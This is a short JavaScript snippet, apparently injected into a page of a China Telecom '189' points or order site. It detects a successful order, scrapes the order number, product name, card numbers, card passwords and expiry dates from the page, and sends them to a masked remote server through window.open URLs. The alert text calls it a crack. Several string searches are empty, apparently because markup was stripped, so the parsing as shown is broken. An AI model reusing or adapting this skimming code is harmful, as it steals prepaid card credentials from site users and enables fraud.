var bodyHtml = document.body.innerHTML; if(bodyHtml.indexOf("成功")>-1 && bodyHtml.indexOf("卡密详情:")>-1 && bodyHtml.indexOf("卡号:")>-1){ alert("破解189:捕捉到成功订单,尝试上送服务器!"); var orderDetail = document.getElementById("orderDetail").innerHTML; var index = orderDetail.indexOf(""); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); var orderNo = orderDetail.substr(0, index); //alert(orderNo); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); orderDetail = orderDetail.substr(index + "".length); index = orderDetail.indexOf(""); var productName = orderDetail.substr(0, index); //alert(productName); index = bodyHtml.indexOf("卡密详情:"); bodyHtml = bodyHtml.substr(index + "卡密详情:".length); index = bodyHtml.indexOf("卡号:"); while(index > 0){ bodyHtml = bodyHtml.substr(index + "卡号:".length); index = bodyHtml.indexOf(""); var cardNo = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "".length); index = bodyHtml.indexOf("密码:"); bodyHtml = bodyHtml.substr(index + "密码:".length); index = bodyHtml.indexOf(""); var password = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "".length); index = bodyHtml.indexOf("有效期:"); bodyHtml = bodyHtml.substr(index + "有效期:".length); index = bodyHtml.indexOf(""); var expressDate = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "".length); //alert(cardNo + "," + password + "," + expressDate); window.open("http://XXX.XXX.XXX.XXX:XXXX/jf189/cardpass/add.htm?orderNo=" + orderNo + "&productName=" + productName + "&cardNo=" + cardNo + "&password=" + password + "&expressDate=" + expressDate) index = bodyHtml.indexOf("卡号:"); } }